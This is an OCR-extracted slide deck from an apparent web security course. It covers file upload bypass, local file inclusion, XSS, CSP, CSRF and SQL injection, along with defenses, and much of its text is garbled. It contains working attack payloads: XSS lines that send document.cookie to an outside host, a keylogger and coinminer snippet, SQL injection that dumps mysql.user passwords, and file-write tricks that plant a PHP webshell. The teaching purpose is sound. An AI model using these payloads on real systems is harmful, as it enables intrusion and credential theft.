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e Front-end Security
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File Upload Vulnerability

e Web Bt
- File-based

- Route-based

- Java-based

o 18 Webshell ~ BE &



File Upload Vulnerability

o EEERA"
- BUimRFREL?
- HRE? BREE?

- Magic Number?



18 - BlmtEE"?

e Javascript {8 & _F{EEER"
- Disable Javascript (Browser)

- Use Proxy (Burp Suite, .. .)

Settings

I Preferences

Preferences

Debugger

Disable JavaScript

Disable async stack traces

DevTools

Auto-open DevTools for popups

Emulate a focused page
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18 - Magic Numberi&i&?

e Magic Number

- ARETERBIVEIZEE Bytes
&R/ ~ 22/ ~ PUTRZFE B IEITEI Magic Number

00000000 | 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 AOQ 49 40 00| .ELF. ............ > Ie.
0000001C EU V0 V0 V0 40 00 00 00 00 00 00 00 38 E7 01 00 00 00 00 00 00 00 00 00 40 00 38 0 ....@....... - S @.8.
00000038 09 00 40 00 1D 00 1C 00 06 00 00 00 0OS 00 00 00 40 00 00 00 00 00 00 00 40 00 40 00 ..@............. @....... e.@.
00000054 00 00 00 00 40 00 40 00 00 00 00 00 F8 01 00 00 00 00 00 00 F8 01 00 00 00 00 00 00 ....@.@.......c¢0iiiiunnnnnnn
00000070 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 38 02 00 00 00 00 00 00 38 02 40 00 ........ccviuvuunn 8. ..., 8.@,
0000008C 00 00 00 00 38 02 40 00 00 00 00 00 1C 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 00 ....8.@, . . .. .. iiinnnnnnnn
000000A8 01 00 00 00 00 00 00 00 01 00 00 00 0S5 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 ........ciiiiinnnnnnnnnnns @.
000000C4 00 00 00 00 00 00 40 00 00 00 00 00 ©64 DA 01 00 00 00 00 00 ©64 DA 01 00 00 00 00 00 ...... @..... d....... d.......
O00000ED 00 00 20 00 00 00 00 00 01 00 00 00 0b 00 00 00 00 DE 01 00 00 00 00 00 0O DE 61 Q0 .. ......iiiiininnnnnnnnnns a.
000000FC 00 00 00 00 00 DE 61 00 00 00 00 00 00 08 00 00 00 00 00 00 ©68 15 00 00 00 00 00 00 ...... o h.......
00000118 00 00 20 00 00 00 00 00 02 00 00 00 06 00 00 00 18 DE 01 00 00 00 00 00 18 DE 61 90 .. ...ttt nnnnnnnns a.

00000134 00 00 00 00 18 DE 61 00 00 00 00 00 EO 01 00 00 00 00 00 00 EO 01 00 00 00 00 00 00 ...... o



P

18 - Magic Numberfa&

e PHP EA#RINFES » HEFEP 0 A EREMT
o }83i& [Image Magic Number] +

- & ‘@ localhost

B BackTrack Linux [WjOffensive Security KJExploit-DB Wy Aircrack-ng i SomaFM

GIF89al???22A¢ALALIAN?222,2222222D2:?
Dt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686

GIF Magic Number




8- RA

o (EREREFIEEITER

BHmE?

$tmp = $_FILES['f']['"tmp_name'];
$dest = $_FILES['f']['name'];
$ext = pathinfo($dest, PATHINFO_EXTENSION);
( $ext "php' ) ('Bye!");
move_uploaded_file($tmp, $dest);



8- RA

o R REBIFA

B

- KIVE @ a.pHP, a.AsPx (Windows Only)
- FHLERE : a.php[ZEH] (Windows Only)
- $5EIRER ¢ phtml, php4, php5, ...

- .htaccess BETEZHr3E 8



8- RA

o {H78: Apache BEHTim)ME

BHmE?

- a.php.kaibro

- E?UZ:M, nﬁﬂﬁﬁu*ﬁ% ’ QQE}J{IQUJ&WL a0

1. BltER kaibro ? ARz
2. ¥R El php
3. I ~ BB EEphpEZirie



18- BHE?

I\\\%

o {H7¢: Apache EZtfimIl
- ER1% 2K ER IR hln 2~ 5 7]
- SREREICERRE ((BESAFsEIEFAERELEF /)

- application/x-httpd-php .php
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Lab 0x01 - sh3ll _upload3r



Local File Inclusion

o &% LFI
o (152 include (FHEIEEHIIER
- BREER

- PUTIZZUMS

At



Local File Inclusion

o DA PHP 3R » BRI EAE
- 1nclude()
- require()
- 1nclude_once()

- require_once()



KEn

$module_path = $_GET[ 'module’'];
include($module_path);



® ® @ view-source:kaibro.tw/ifiphp? x  +

< - C O AELE | view-source:kaibro.tw/Ifi.php?module=/etc/passwd s mEHE @ :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:8ys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www~-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin d I - d
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false l ' '0 U e— etc passw
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

syslog:x:104:108::/home/syslog:/bin/false

_apt:x:105:65534::/nonexistent:/bin/false

1xd:x:106:65534::/var/lib/1xd/:/bin/false

messagebus:x:107:111::/var/run/dbus:/bin/false

uuidd:x:108:112::/run/uuidd:/bin/false

dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false

sshd:x:110:65534::/var/run/sshd: /usr/sbin/nologin

pollinate:x:111:1::/var/cache/pollinate:/bin/false

ubuntu:x:1000:1000:Ubuntu: /home/ubuntu:/bin/bash

postfix:x:112:118::/var/spool/postfix:/bin/false

RO ~NOOM S WN -
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® ® @ view-source:kaibro.tw/ifiphp? x  +

)
|

C @O F&LZE | view-source:kaibro.tw/Ifi.php?module=/etc/apache... ¥ gﬁmﬁé 5

This is the main Apache server configuration file. It contains the
configuration directives that give the server its instructions.

See http://httpd.apache.org/docs/2.4/ for detailed information about

the directives and /usr/share/doc/apache2/README.Debian about Debian specific
hints.

RO ~NOOM S WN -

B Sk SR Sk SR Sk SR SR SR SR SR SR Sk W%

Summary of how the Apache 2 configuration works in Debian:

The Apache 2 web server configuration in Debian is quite different to
upstream's suggested way to configure the web server. This is because Debian's
default Apache2 installation attempts to make adding and removing modules,
virtual hosts, and extra configuration directives as flexible as possible, in
order to make automating the changes and administering the server as easy as
possible.

- O O

b
N

It is split into several files forming the configuration hierarchy outlined
below, all located in the /etc/apache2/ directory: modaule=/etc/apache?2

/etc/apache2/

- e ot apache2.conf

| == mods-enabled

| | --= *.load

| == *_conf

| ~- conf-enabled

| “== *_conf

== sites-enabled
== *_conf

-

> OO -

o O

D
[ &8
2
&S
2
2
Lo
24
2
Lo
>
Lo
o
“.
.
Lo
>
“.

) O 0

* apache2.conf is the main configuration file (this file). It puts the pieces
together by including all remaining configuration files when starting up the
web server.

ports.conf is always included from the main configuration file. It is
supposed to determine listening ports for incoming connections which can be
customized anytime.

S T R T T T T S e e e e R I T T S R S




® ® @ view-source:kaibro.tw/ifiphp? x  +

&€ > C ® FL2| view-sourcekaibro.tw/Ifi.php?module=php:/ffilter/c.. ¢ WEHX @

| PD9waHAKCmluY2x1ZCUoJF9HRVRbIJ21vZHVsSZSddKTsK

module=php://filter/
convert.base64-encode/
resource=lfi.php




Read Source Code

o H1% include php 18 > SRR
e =ZH php wrapper
- php://filter/convert.base64-encode/resource=

- php://filter/read=string.rot13/resource=



Read Config

E N

K5

e B8R
- /etc/apache2/apache2.conf
- /etc/nginx/nginx.conf
- /etc/apache2/sites-available/000-default.conf

- /etc/php/php.ini



Read /proc/*

e /proc/self/cmdline H1TI5AY Command
o /proc/self/exe EEITHE (RTLASE reverse/pwn)
e /proc/self/environ IS 1E R 8y

e /proc/self/fd/* filedescriptor



RCE Tricks

o & Session ABERD FIE

- /var/lib/php/sessions/sess_[session id]
o E1FTE phpinfo BF

- FE{EEXR + Race condition
e access.log / errorlog PIEERF

- B User-Agent / URL



Lab 0x02 - EzLFI



Front-end Security



Same Origin Policy (SOP)

. EREE

. BIBBRNENTREIRT—

. REEME iR EARBI SR
- Bl - EiHE +« EEE + FiSO



Q.Ixt

b.txt

Server A Server B



o CS 2019 Fall X

& - C A FE%E | localhost:7677 C B & mEms @ :

Computer Security 2019 Fall Problems  Submissions  Ranking  Lectures Login  Register

Change Log

Course Information

K~ t[\ Elements Console Sources Network Performance Memory Application Security Audits x 2
N top v O Default levels v O

fetch("https://kaibro.tw/code.txt");
< » Promise {<pending>}

® Access to fetch at 'https://kaibro.tw/code.txt’' from origin 'https://localhost:7677' has been blocked by CORS policy: No 'Access-Control: (index):1
Allow=0Origin' header 1s present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors’' to fetch the
resource with CORS disabled.

® Uncaught (in promise) TypeError: Failed to fetch (index) :1

v




Compare with http://kaibro.tw

https://kaibro.tw No EENE
http://gg.kaibro.tw No 15 R N
http://www.kaibro.tw No 17 22 A [g]
http://kaibro.tw:5278 No R NE
http://kaibro.tw/flag Yes 1hheE /182 /i O [E]
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0 © unemy X +

&« - C @ buy.line.me W MEHRI @ :

buy.line.me

img.responsivelmg 168 x 168

A sumEoman
2019 PR 2 28N
125md / $2,400

obs.line-scdn.net

[w tl__] Elements Console Sources Network Performance Memory Application Security Audits A5 . X
v<ul class="sliderSmall=l1st">
v <li class="sliderSmall-item"> Styles  »
v<a href="https://buy. line.me/t/?url=GVBRZVXt29AZ7P91LRRwM70994dY B8l 2IZq6HncDqg.. bgv .cls
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w360"'"> == $0 !
h main.cc..
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> < elmg,
b < .D1aThumbn
P < all=1mg,
. D1gThumbn
" allZ2-=1img,
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NEEF I

° < S BERE AR R AR R

<script src="..."></script>AfJavascript » {Bi&/E#H:2E REREIEFZLIERIA

o L > CSSHY<link rel="stylesheet" href="..."> » HRCSSEF 8/ Al » I5KRCSSE K IEHERY
Content-TypetZEE - [RHITE 2B 23EZ B E=E: IE, Firefox, Chrome, Safari (58 2CVE-
2010-0051)LA Kz Opera.

* < > cimg> BB ; IERXBPNG, JPEG, GIF, BMP, SVGE %
<video> #] <audio> {EASHE
o < > <object>, <embed> fl<applet> A9}
@font-face NFE ; BLERBR[BATFERLRFE » HLAIA -
~ <frame> LAK <iframe> PRIAR ; WR—ERILGERE R ERIREALE) - o] DAFEH X-

Frame-Options t23EE R -




JSONP

e JSON with Padding

o M <script> PIDARSIERIYFIERE JSON Eid

JSON { JSONP  grab({

"roses”: "red”, P for padding roses”: "red",

"violets": "blue", "violets": "blue",
HQFGSS"I "green" "gr‘ass": "gr.eenu

¥ 5)




JSONP

e JSON with Padding

o M <script> PIDARSIERIYFIERE JSON Eid

JSON { JSONP  grab({

"roses”: "red", P for padding "roses": "red",

"violets": "blue", "violets": "blue",
"gr‘ClSS"I "gr'een” "gr‘ass": "gr.eenu

¥ 5)

8i5JS



Cross-0Origin Resource Sharing

e CORS (Cross-Origin Resource Sharing)

o ER—UE HTTP Header RiEEISig:ES




Cross-0Origin Resource Sharing

« RIEERAS » AILAS R B AR AR B R
. ESHE

- ERESHERE B 8% LR Header

- ARSAEREAMEEHER - LEEE Heoder


https://developer.mozilla.org/zh-TW/docs/Web/HTTP/CORS

XSS

e Crossing Site Scripting (XSS)

ErEasPin CAEERER) MITER JavaScript

e}

<script> </script>






https://kaibro.tw/?error=Login%20failed!

username

*kkkkkkkkkkkk

Error: Login failed!




https://kaibro.tw/?error=

kaibro.tw ZHT:

1

*kkkkkkkkkkkk




why alert(1)?

o H{ERIEHNEHENETINHITIS
o AJLAIE alert ApY{ER JS Code



70 %8

o Reflected XSS
e Stored XSS

e DOM XSS5



Reflected XSS

o EHZHLERBENMARNS
o M EIE HTML/JS BRI

echo "Your input:" . $_GET["g"];

/?q=<script>alert(1)</script>



Stored XSS

o BIANBHRIRFEEREF
Hit{ERERMERNTEEI

ication stores oo tes XSS Payload

the XSS payload



DOM XSS

e DOM: Document Object Model

o JavaScript 7ZEERIE DOM Tree BF » EFAY XSS

o X415 = | EIE 23 JavaScript M ITHEIZH



(1));

e 1ndex.html#alert(l)

o Fragment RE{EZ| Server » RIEBIERBITHIT



B B

e MXSS

o UXSS

o XSS

e Electron XSS to RCE

. W

iy Sy

&8
7/ — -'c. -



How to prevent XSS?

o iBiEIRE AR <script> </script> ?







More XSS Payload !

e <1mg src=@ onerror=alert(l)>
e <svg/onload=alert(l)>

e <body onload=alert(1l)>

*

-
o ‘4’.‘: -
- .? ‘
e ¥

!_ ( I
3 gt




How to prevent XSS?

N S A
. 'IT-l N == =1 ¥ -
10N

e Escaping Output
e Validating Input

o 2| S 23 BT IREIIHE



XSS Fl A

e a1 Cookie

A

fetch("http://kaibro.tw/?x="+btoa(document.cookie));




XSS Fl A

e Key logger

A

document.onkeypress = function(e) {
console.log(e.key);



XSS Fl A

o EHRIEFRHANIZIR

A

var miner CoinHive.User('SITE_KEY', 'kaibro');

miner.start();



X
SS ¥

e BZ Iy
51971
- &[5
- 4
R EY B B

- FA
(|
XS
S
. it
2= Servic
e W
ork
er



Blind XSS

e 53]
e A XSS ITIREARZINER AHHHIL ..
~ ﬁ%t’z‘a AT
. @IEA A .
.
- FREEE4R IM Bll

- CTF



E+f$ \
NP

EH IR REHEIRIHES IS ?

HE LI ARG R FUIERNS

Platform

am e 174 5B 2 JW

T
<script>fetch("http://kaibro.tw/"+btoa(document.cookie))</script>

ST EFih




XSS EPE ]

o ES6 4514
- alert 1
- eval.call ${'alert\x281)'}"

e Polyglot XSS

o JH5ME=FchYJavaScript:


https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-10

XSS 4RINE

RIERTI§XSSi):
&

o Cure53 XSS Wiki

e xss.shift-js.info

e prompt.ml/0



https://github.com/cure53/XSSChallengeWiki
http://xss.shift-js.info

BB EaEHRE 7






XSS Auditor / Filter

e %3 Rewrite / Filter FE A T\fH¥E XSS Attack

c AERIERZAZHNEFAIV

e

XSS Filter NoScript Add-on XSS Auditor



XSS Auditor / Filter

o AILAIER X-XSS-Protection Header Z$ZHll

Value Effect

0 Disable

Enable

1 (Partial rewrite)

Enable
(Prevent rendering)

1:mode=block




XSS Auditor / Filter

o XSS KEHFAH

e Chrome 74 1t Block mode BBk Filter mode

e Chrome 78 St [F XSS Auditor

For Developers > Design Documents >

XSS Auditor

Note: An Intent to Deprecate and Remove the XSS Auditor was published on 15-July-2019. The feature
was permanently disabled on 5-August-2019 and shortly after fully removed for Chrome 78.




e Content Security Policy

o EA—4H Response Header [Rl2 E 2300 E IR EA

8:41:01 GMT Learn More]

1=U1 T (1

GIT

X-Content-Security-Policy: default-src

Request headers (409 B)




CSP Header

Directive

R

Content-Security-Policy: 'self';
s L

CSP Header Name Source



CSP Directive

Directive

default-src

script-src

IMQg-Src

frame-src

R
=R FRE 2l A SRS
JSENATRHER
B - & A\ SRES
framegl A SR HES




CSP Source

Source value = BF
'self" R aFEEEIR
"none' AR FFEER

kaibro.tw QAafiEEERE R

(F &R (BF T data: Eipis)




CSP =& %48

e Google - CSP Evaluator

Evaluated CSP as seen by a browser supporting CSP Version 3

default-src

script-src Consider adding ‘'unsafe-inline’ (ignored by browsers supporting nonces/hashes)
to be backward compatible with older browsers.

frame-src
style-src
font-src
iImg-src

base-uri [missing] Missing base-uri allows the injection of base tags. They can be used to set the
base URL for all relative (script) URLs to an attacker controlled domain. Can
you set it to 'none’ or 'self'?



https://csp-evaluator.withgoogle.com

CSP Bypass

o CTFRZREEY
- #% self : ¥ _E1EEL (polyglot image/video . . )
- ZE <base> : EFIFIREARE (HE )
- BInsE=HBR¥E : Google Analytics ea ~ CDN

- Script Gadget



Script Gadget

< data-role="button”
data-text="&lt;script&gt;alert(1)&1lt;/script&gt;"></

< >
var buttons = $("[data-role=button]"); Script Gadget
buttons.html(button.getAttribute("data-text"));

</ >

data-role="button” ... ><script>alert(1)</script></







CSRF

e 73 Cross-site Request Forgery
o (EEfN{EREMRIZIFTARAGRS
o 224l :
- < src="http://kaibro.tw/logout”>

- BERAEME > Mg logout BYERS



CSRF

o [REXSKAFMESMFERETEESREK

o RAE:E admin ZEHMEEEEX » MeEEESRIERE


http://website/user/1/delete
http://website/user/2/delete

CSRF

e Why?

- BA&AEYEEKET L Cookie

- fafkza I ED HEA EIER B EENZER




CSRF j

e Server Side

- CSRF Token
- BIREpBIAE R —1BEFEIE Token » 553K FTBRFIUE Token
e Client Side

- SameSite cookie

- Strict mode F » IBlEEEKEfA T Cookie



Bad News

® ® ¥ Chrome 80JBIRFEICo0kie? X +

& S5 C @ ithome.com.tw/news/133796 Y WEHER @
. —
| iThome = [

Chrome 8088 B#HCookieZ £ 1= BIFARS HE
=B L FHCookie

Chrome 802%% » CookieEE{FFHSameSite=NoneiR ELARHTTPSEE » 7 At MR ARFSTFEY

5 A_.n ‘\—l , 2019-10-24 3% IR A Thomel 44 M
‘ ChrOme 80 H#%Eﬁx *% SIe gaomain maicnes cooxkie
aomain >
SameSite=Lax

a.com cookie




SQL Injection Advanced



.;Ob..w — PR

@]l INIEG'I'ION E\IEIIYWHEIIE

makeameme.org




RAFRIGRER » #ELA MySoOL A5l



SQL Injection fEEI AT

- B2 . 1d=123

- &8 . 1d=admin



SQL Injection fEEI AT

. BT
- 1d=123*1
- 1d=123/0
- 1d=123 and 2=2

- 1d=123 and 2=3



SQL Injection fEEI AT

. FE (IAEE |5 AH)
- 1d=admin’
- 1d=admin'%Z2b’
- id=admin' and '1'="1

- 1d=admin' and '1'="2



® . X +

&« - C @O FLE| | etail.php?id=1%27 B @ ﬁfﬁﬁit@ :

You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\" at line 1

B EZEH ()5 [5RITEE > 99%MEH



Target?

. TEALERR
- BEREE
- EERNERAS

- IS A %R G818 - RCE~ .. .)



Bypass Authentication

o FISHRA




Data Exfiltration

. BERTRATINSD F T
- UNION-Based
- Boolean-Based
- Time-Based

- Error-Based

- Qut-of-Band-Based



Data Exfiltration

. BERTRATINSD F T
- UNION-Based
- Boolean-Based
- Time-Based

- Error-Based

- Qut-of-Band-Based



news.php

SELECT * FROM news

Hello Worlad

Brasov Bucharest




news.php?id=1

SELECT * FROM news WHERE 1d=1

1 Hello

2 Brasov

Worla

Bucharest




news.php?id=1

UNION SELECT

1,2,5

SELECT * FROM news WHERE 1d=1

UNION SELECT 1,2,3

1 Hello

2 Brasov

Worla

Bucharest

5




news.php?id=-1
UNION SELECT 1,2,3

SELECT * FROM news WHERE id=-1
UNION SELECT 1,2,3

] 2 5




news.php?id=-1
UNION SELECT 1,user(),3

SELECT * FROM news WHERE id=-1
UNION SELECT 1,user(),3

l kaibro@localhost 35




fi

INT

& Load URL
& split URL

) Execute

Ease Peasy SQL challenge +

€& (i) kaibro.tw:9527

k2 = © SQL~ XSS~ Encryptionv Encoding~ Other~

http://kaibro.tw:9527 /news.php?id=-1 union select 1,2,3

Enable Post data Enable Referrer

EVEN THE CAT KNOWS



fi

INT

& Load URL
& split URL

) Execute

Ease Peasy SQL challenge +

€& (i) kaibro.tw:9527

k2 = © SQL~ XSS~ Encryptionv Encoding~ Other~

http://kaibro.tw:9527 /news.php?id=-1 union select 1,user(),3

Enable Post data Enable Referrer

Kalbro

EVEN THE CAT KNOWS

(@localnost




fi

INT

& Load URL
& split URL

) Execute

Ease Peasy SQL challenge +

€& (i) kaibro.tw:9527

k2 = © SQL~ XSS~ Encryptionv Encoding~ Other~

http://kaibro.tw:9527/news.php?id=-1 union select 1,Password,3 from mysqgl.user

Enable Post data Enable Referrer

EVEN THE CAT KNOWS



SELECT tafiz®d FROM [Ex.3% WHERE {F{F
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information schemao

e MySQL >= 5.0

e Database Metadato

o FHElARzZ4EERIPTA ERIEHEFNE
- BIEERER - KRR ~ WA



® ®
information_schema =
e
e CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS

|
|
|
|
|
|
|
|
|
|
|
|
=
e KBt E—1E Database . PROCESSLIST
|
|
|
|
|
|
|
|
|
|
|
|
|
|

PROFILING
REFERENTIAL_CONSTRAINTS
. BE  RESAMBERENAREST D0

SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS

TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS



information schemao

e ENIERFNE
- Sschemata

o RIBRAFNE

- tables

o ML FINTE

- .columns



information schemao

. BENES

- select schema name from Schemata
o 15T
- select table name from tables

L L

- select column name from columns



mysql> select * from information_schema.schemata;

g e g i e ——— +
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
- S e S S S S +

NULL information_schema utf8 utf8_general_ctl NULL

NULL mysql latinl latinl_swedish_ct NULL

NULL ETS latinl latinl swedish ct NULL

NULL test latinl latinl swedish ct NULL
o - et o - o - o ———— - +



% B2

SELECT * FROM news WHERE 1d=-1
UNION SELECT 1,schema_name, 3
FROM 1nformation_schema.schemata

1 information schema 35




% B2

SELECT * FROM news WHERE 1d=-1
UNION SELECT 1,schema_name,3

FROM i1nformation_schema.schemata
Limt 1,1

l mMysql 3




H IR

SELECT * FROM news WHERE 1d=-1
UNION SELECT 1,table_name,3

FROM 1nformation_schema.tables
WHERE table_schema="mysql’

1 user 5




55 1 11 23

SELECT * FROM news WHERE 1d=-1
UNION SELECT 1,column_name,3
FROM 1information_schema.columns

WHERE table_name='user'

l password 3




15 B

SELECT * FROM news WHERE 1d=-1
UNION SELECT 1,password,3
FROM mysqgl.user

] "66A3507/. . . 5
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Differences with other DBMS

o UNION 1289 Column BYREMZEHE[E]
- MySQL 2 HENFEY
- JVERI5: A NULL

e Oracle BY SELECT W BEH IR

- AJ{EFH Dummy table - dual KiEEH



Lab 0x03 - EasyPeasy



Data Exfiltration

. BERTRATINSD F T
- UNION-Based
- Boolean-Based
- Time-Based

- Error-Based

- Qut-of-Band-Based



Boolean-Based SQL Injection

o AFEENEERNABRAREMER
- f5lEn - EAMTE

e UNION Based Rt EAZ



Boolean-Based SQL Injection

e Boolean (True/False)
o BETABIIRRET - (BHIAEAVIEEMEER
- Query BTN HHIEE
- Query kB EHIES « =8 ~ RTAFE



o & Ease Peasy SQL challenge X - o & Ease Peasy SQL challenge X -

& > C A FR2| localhost:22445/boolean.php?id=1%20and%201=1 v fEM® € & > C A F®2| localhost:22445/boolean.php?id=1%20and%201=2 v fE# ©

EVEN THE CAT KNOWS EVEN THE CAT KNOWS

SOLINIECTION SOLINIECTION

©kaibro.tw 2017 ©kaibro.tw 2017



Boolean-Based SQL Injection

o InFF True / PIET=H

- SELECT * FROM user WHERE 1d = 1 True

- SELECT * FROM user WHERE 1d = -1

- SELECT * FROM user WHERE 1d = 1 and 1=1 True

- SELECT * FROM user WHERE 1d = 1 and 1=2



Boolean-Based SQL Injection

o InFF True / REVIFE N
- 1d = 1 and select ascii(mid(Cuser(), 1, 1))>0 True

- 1d = 1 and select ascii(midCuser(), 1, 1))>80

- AIAZ 53 2 N33R



Boolean-Based SQL Injection

® lJ\j:iIE
- MySQL BI1IEMRFTEIN AR

- 1d=87 and ((select user()) regex binary 'Ala-z]')



Data Exfiltration

. BERTRATINSD F T
- UNION-Based
- Boolean-Based
- Time-Based

- Error-Based

- Qut-of-Band-Based



Time-Based SQL Injection

o BELRBEIENEEFIE SQL MITAER
o 1B True / False c& B HRFfE 2= FI R
o BUSHFREIZE
- MySQL: sleep() / benchmark() / Heavy Query

- PostgreSQL: pg_sleep() / repeat()

- MSSOQL: WAIT FOR DELAY '0:0:10°



Time-Based SQL Injection

o (EMERRIIRS » FE(ELH

e

e

1 and 1f(ascii(midCuser(),1,1))>0,

1 and 1f(ascii(midCuser(),1,1))>80,



Data Exfiltration

. BERTRATINSD F T
- UNION-Based
- Boolean-Based
- Time-Based

- Error-Based

- Qut-of-Band-Based



Error-Based SQL Injection

o WEREHRMNE » WARERNEREF
o TRZH

- {alAk23 P HERA R FRERRAT

- tHaRAN S8 E A RER



Server Error in '/" Application.

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2012 (SP1) - 11.0.3000.C

(X64)

Oct 19 2012 13:38:57

Copyright (c) Microsoft Corporation

Web Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)

' to data type iInt.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

N 11T S . =m 1 1ats a = a sntinn M NN ftalses whean nRvertinn the Nus NAr Vs = " nent & [ ] (P11 i NN N (XE4A)

INT v| = & 50QLBASICS- UNION BASED~ ERROR/DOUBLE QUERY~ WAF BYPASS- ENCODING~ ENCRYPTION- OTHER- XS5~

@ LoadURL | http://localhost/dvwa/vulnerabilities/sqli/7id=1" or !(select*from(select user())x)-~0-- -
g% Split URL &Submit=Submit#

) Execute

| | Postdata | | Referrer | | Basebd & HEX 3 @& %URL 3B

BIGINT UNSIGNED walue is out of range in '((not((select 'root@localhost' from duzal))) - ~(0))"




MySQL Error-based

o TR ARMMISTRER

e SELECT exp(~(SELECT * FROM (SELECT user())x));

ERROR 1690(22003):DOUBLE value is out of range in
"exp(~((SELECT 'root@localhost’ FROM dual)))’



Data Exfiltration

. BERTRATINSD F T
- UNION-Based
- Boolean-Based
- Time-Based

- Error-Based

- Qut-of-Band-Based



Out-of-Band SQL Injection

o FHENEBEKREIME

o B34 :
- fi#1 Boolean / Time based B 4E 2R RE
- RHEF Error/Union based FRFRYFiEIE

o fREY :
- DBMS WA 1E » BF TR UEIME



MySQL Out-of-Band

e Windows Only

- DNS Log

- load_file(concat("\\\\", , .kaibro.tw/a"))



Oracle Out-of-Band

e UTL_HTTP

- HT TP Request

- url_http.request('http://kaibro.tw/' | |(select
from )D



SOQOL Injection to RCE

e MySQL

- FESE

- LOAD_FILE() / INTO OUTFILE / INTO DUMPFILE / general_log
e MSSQL

- Xxp_cmdshell

- MSSQL 2005%% > ¥EzxER (solEPR T rlsp_configureEEY)



SOQOL Injection to RCE

e MySQL
- 5Bfg :© load_file('/etc/passwd')

- Big : select "<?php phpinfo();?>"
"/www/a.php”

o tEfRESY

- FILE#EPR ~ secure-file-priv ~ . ..



ATTACK OVERVIEW

WEB APPLICATION
/\ eee

INFORMATION SQL INJECTION >
> > ata
GATHERING @ Exfiltration

ATTACKER

\'
8 HASH CRACK PASSWORD HASH

< ADMIN LOGIN
PHP BACKDOOR INJECTION

A

SERVER

SERVER

A
ATTACKER

) <
¥ %k %k %k Xk Xk Xk Xk Xk
o
A

PRIVILEGE ESCALATION

www-data root




Tool - SQLMAP

o (EHRGEE
| | {1.0-dev-35ebbe2}

L OLa N TR T T O T
@ Ijjﬂbgﬂk | | | _| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets withou
y all applicable local, state and federal laws. Developers assume

- XIESHE DBMS

[*] starting at 05:19:37

W g Zili\ [05:19:37] [INFO] fetched random HTTP User-Agent header from file
= E n *EWAF"‘TD i%ﬂﬁl}ﬁ t': "Opera/9.21 (Windows NT 5.0; U; de)’

105:19:37] [INFO] resuming back-end DBMS 'mysql'

 RE ~ FIR
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Prevent SQL Injection

e Prepared Statement + Parameterized Queries

$stmt = $pdo->prepare(’ user name = :name');

$stmt->execute(array('name’ $nhame));

($stmt Srow) {



_ "CANTGETHACKEDBY SOL INJECTION

5
b

N
‘Q

< IETHERE'S NO DATABASE



##7E : MySQL Bypass WAF

— IE?‘& /}-E
_ /**/
- %09, %0a, %0b, %0c, %0d, %a0

- 1d=C-1)UNION(CSELECT(1),2,3)



##7E : MySQL Bypass WAF

o 5|3RMBIE
- SELECT pass FROM user WHERE 1d=0x61646d6906e

- 1d=concat(char(@xo61l),char(@xo64),char(@xed),char(
0x69),char(@xoe))



##7E : MySQL Bypass WAF

o FRFHBIE
- OR => ||
- = => LIKE
- LIMIT 0,1 => LIMIT 1 OFFSET 0

- WHERE => HAVING



##7E : MySQL Bypass WAF

o IFIRIEFRTIET
- SELECT pwd /*!FROM*/ admin

- SELECT 1 FROM 1information_schema .schemata

- PCRE Limit Bypass ( )


https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

HWOx01 - how2XxsS



HWOx02 - Z1&#_£QQ
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